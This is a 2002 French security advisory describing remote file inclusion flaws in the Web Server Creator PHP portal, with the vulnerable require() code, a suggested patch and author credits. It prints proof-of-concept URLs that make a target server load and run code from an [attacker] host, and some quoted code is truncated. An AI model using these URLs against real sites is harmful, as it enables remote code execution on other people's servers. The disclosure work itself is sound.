Web Server Creator - Web Portal ******************************* Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://webcreator.com02.com Version : 0.1 Problème : Inclusion de fichiers Developpement : °°°°°°°°°°°°°°° WSC est un portail PHP comprenant un forum, un chat, un book, des news, une newsletter,... Tout d'abord il faut savoir que la newsletter utilisée n'est pas une newsletter propre à WSC. C'est le service phpMyNewsLetter. La même faille se trouve donc dans WSC !! Dans news/include/customize.php, on peut voir : ------------------ ------------------ qui sera utilisable de cette façon : http://[target]/news/include/customize.php?l=http://[attacker]/file.txt pour inclure le fichier http://[attacker]/file.txt et faire executer le code qu'il contient sur le serveur [target]. La faille du même type, include, mais qui elle est propre à Web Server Creator, se trouve dans index.php. On peut y voir le code suivant : ----------------------------------- [...] if (!$pg) { $pg = "acceuil"; } [...] require ("$pg.php"); ?> [...] ----------------------------------- La fonction require() est en gros le même principe que include(), comme include_once() et require_once()... ou du moins ils ont comme point commun la même faille. Si la variable $pg n'a pas de valeur, elle vaut 'acceuil', et quoi qu'il arrive on inclut $pg.php . Pour inclure par exemple le fichier http://[attacker]/badfile.php, contenant le code "; ?>, et faire executer se dernier, il faudra taper l'url http://[target]/index.php?pg=http://[attacker]/badfile&hop=Hello%20World Ce qui affichera "Hello Worl" sur l'index de http://[target]/. Patch : °°°°°°° Supprimer les lignes buggées dans news/include/customize.php, et dans index.php, remplacer la ligne require ("$pg.php"); par : ------------------- if (file_exists($pg.".php")){ require ("$pg.php"); } ------------------- Un patch est disponible sur http://www.phpsecure.org . Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.frog-man.org Date : 18/11/02